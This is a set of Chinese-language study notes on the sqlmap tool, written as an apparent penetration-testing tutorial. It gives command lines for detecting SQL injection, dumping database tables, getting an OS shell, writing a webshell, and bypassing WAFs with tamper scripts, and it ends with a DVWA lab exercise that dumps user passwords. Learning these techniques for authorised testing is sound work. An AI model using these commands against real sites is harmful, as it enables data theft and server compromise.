SQLMAP 使用筆記
--by Anton
0-請求注入檢測
sqlmap能夠使用基於布爾(bool)、時間(time)、語句是否執行html
(頁面返回時間是否增長)、報錯(error)、聯合查詢(union)、堆查詢(同時執行多條語句)
get方式 sqlmap.py -u "URL"
post方式 sqlmap.py -u "URL" --data "post數據"
cookie方式 sqlmap.py -u "URL" --cookie "cookie數據"
1-獲取數據庫信息
獲取數據庫類型及版本
獲取數據庫庫名和用戶名
sqlmap.py -u "URL" --current-db/--current-user
2-獲取數據量和用戶權限
數據量 sqlmap.py -u "URL" --count -D "DB_name"
判斷用戶權限 sqlmap.py -u "URL" --privileges
Microsoft SQL Server 最高權限:sa
Mysql :root
3-Mysql數據庫注入
mysql數據庫結構
mysql注入 庫名 sqlmap.py -u "URL" --current-db
表名 sqlmap.py -u "URL" --tables -D "DB_name"
列名 sqlmap.py -u "URL" --columns -T "Tables_name" -D "DB_name"
字段 sqlmap.py -u "URL" --dump -C "Columns_name" -T "Tables_name" -D "DB_name"
sqlmap經常使用選項:
--second-order 當web程序輸入與返回不在一處界面時,使用此參數監控另外一處頁面
sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --dbs
--tables -D 「數據庫」 列舉數據庫的表名
--columns -T 「表名」 -D 「數據庫」 獲取表的列名
--dump -C 「字段,字段」 -T 「表名」 -D 「數據庫」 獲取表中的數據,包含列
新的數據庫注入
MongoDB、NoSQL--sqlmap不支持這兩款的注入,Nosqlmap使用
https://github.com/tcstool/nosqlmap
4-管理數據庫
鏈接數據庫 sqlmap.py -d "mysql://用戶名:密碼@地址:端口/數據庫"
--報錯需安裝pymysql https://github.com/PyMySQL/PyMySQL
安裝步驟:解壓->cmd切換目錄->setup.py install
鏈接上使用參數:--sql-shell 進行sql執行管理
sqlmap.py -d "mysql://用戶名:密碼@地址:端口/數據庫" --sql-shell
@@cersion--查看數據庫版本
5-延時注入
使用狀況
頁面無變化、沒法使用布爾真假判斷、沒法報錯--做爲最精準的注入缺點:耗時長
如何使用
--delay 數值(延時秒數) sqlmap.py -u "URL" --delay 1
--safe-freq sqlmap.py -u "URL" --safe-freq
6-交互式命令執行和寫webshell
初識交互式
注入點用戶權限必須爲最高權限
sqlmap進行命令執行(提權)
sqlmap.py -u "URL" --os-cmd="命令"
在使用參數交互時要知道網站的絕對路徑-盤符開始
執行後0-選擇網站語言1
-何種方法尋找網站絕對路徑
執行命令後在網站絕對路徑下建立了文件,命令執行後自動刪除
sqlmap寫webshell and 提權
sqlmap.py -u "URL" --os-shell
執行後0-選擇網站語言1-何種方法尋找網站絕對路徑
--關閉sqlmap自動刪除
7-Tamper腳本的介紹和使用
Whate is Tamper?
sqlmap下的tamper目錄,高級sql注入測試,如繞過waf(web應用防火牆)
Tamper腳本的使用
--tamper="腳本名字"
sqlmap.py -u "URL" --tamper="腳本名字"
sqlmap.py -u "url" --current-db --dbms=mysql(是access就輸access) --tamper 「腳本名稱(好比1.py)」
Tamper腳本的總結
8-本地寫入webshell
what is 本地寫入/如何寫入?
zaisqlmap目錄下新建一個目錄mst,在該目錄下建立需上傳的文件
--file-write "./mst/mst.txt"
本地文件的地址/路徑
--file-dest "d:/www/1.html"
目標文件的地址/路徑
sqlmap.py -u "URL" --file-write "./mst/mst.txt" --file-dest "d:/www/1.html"
9-批量檢測注入漏洞
what is 批量?
批量檢測sql注入
如何批量
-m
sqlmap.py -m 路徑
結合burpsuite
對post、cookie、http header等檢測
burpsuite記錄全部request記錄,並保存在指定文件夾
sqlmap.py -l c:/burp.log --batch -smart
便可對burp.log中保存的全部request進行注入掃描
Batch:自動選擇yes
Smart:啓發式快速判斷,節約時間
--level=(1-5) #要執行的測試水平等級,默認爲1
sqlmap使用的payload能夠在xml/payloads/中看到,參數數值影響測試的注python
入點,http cookie在level爲2時候會測試,http user——agent/referer頭在level爲3會測試
爲保證全面性,level最好設置最高
--risk=(0-3) #測試執行的風險等級,默認爲1
默認的1會測試大部分測試語句,2會增長基於事件的測試語句,3會增長OR語句的sql注入測試
#有時候,例如在Update的語句中,注入一個or的測試語句,可能會致使更新整個表,風險很大
#測試語句可xml/payloads/中找到,也可自行添加
10-Sqlmap注入
SQLMAP目錄結構
doc/ --->>>該文件夾包含了SQLmap的具體使用說明,例如多種語言的簡要說明、PDF版的詳細說明、FAQ、做者信息等。
extra/ -->> >這裏包含了SQLmap的多種額外功能,例如發出聲響( beep).運行cmd.安全執行、shellcode等。
lib/ -->>>這裏包含了SQLmap的多種鏈接庫,如五種注入類型請求的參數、提權操做等。
plugins/ -->> >這裏包含了各類數據庫的信息和數據庫通用事項。
procs/ -->>>這裏包含了mssqlserver、mysql. Oracle和postgresql的觸發程序
shell/ -->>>這裏包含了多種注入成功後的多種sheli遠程鏈接命令執行和管理數據庫
tamper/ -->>>這裏包含了繞過腳本,例如編碼繞過、註釋繞過等。
thirdparty/ -->>>這裏包含了一些其餘第三方的插件,例如優化、保持鏈接、顏色等。
txt/ -->>>這裏包含了一些字典,例如用戶瀏覽器代理、表、列、關鍵詞等。
udf/ -->>>這裏包含了用戶本身定義的攻擊載荷。
waf/ -->>>>這裏包含了一一些多種常見的防火牆特徵。能夠直接使用--identify-waf來進行檢測。
xml/ -->>>這裏包含了多種數據庫的注入檢測載荷、旗標信息以及其餘信息。在這裏能夠看到進行注入的。
學習SQLMAP注入
#xml目錄下payloads-載荷文件
#-v數字
-v有7個等級,默認爲1:
0:只顯示python錯誤以及嚴重的信息
1:同時顯示信息和警告信息(默認)
2:同時顯示debug的信息
3:同時顯示注入的payload
4:同時顯示HTTP請求
5:同時顯示HTTP響應頭
6:同時顯示HTTP響應頁面
sqlmap.py -u "URL" --dba -v 3
#結合burpsuite
--proxy=http://ip:port 這裏的代理服務器就是burpsuite相對監聽的
sqlmap.py -u "URL" --proxy="http://127.0.0.1:8080"
11-實驗實訓
特殊頁面sql注入
sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --dbs
sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --dbs -D 「dvwa」 --tables 進行查詢dvwa數據庫的表名
sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --columns -T 「users」 -D 「dvwa」進行查詢user表中的列
sqlmap -r /root/1 --second-order="http://172.16.12.2/vulnerabilities/sqli/" --dump -C 「user,password」 -T 「users」 -D 「dvwa」 進行「脫褲」
sql盲注漏洞
RM-Anton原創,轉載請註明。mysql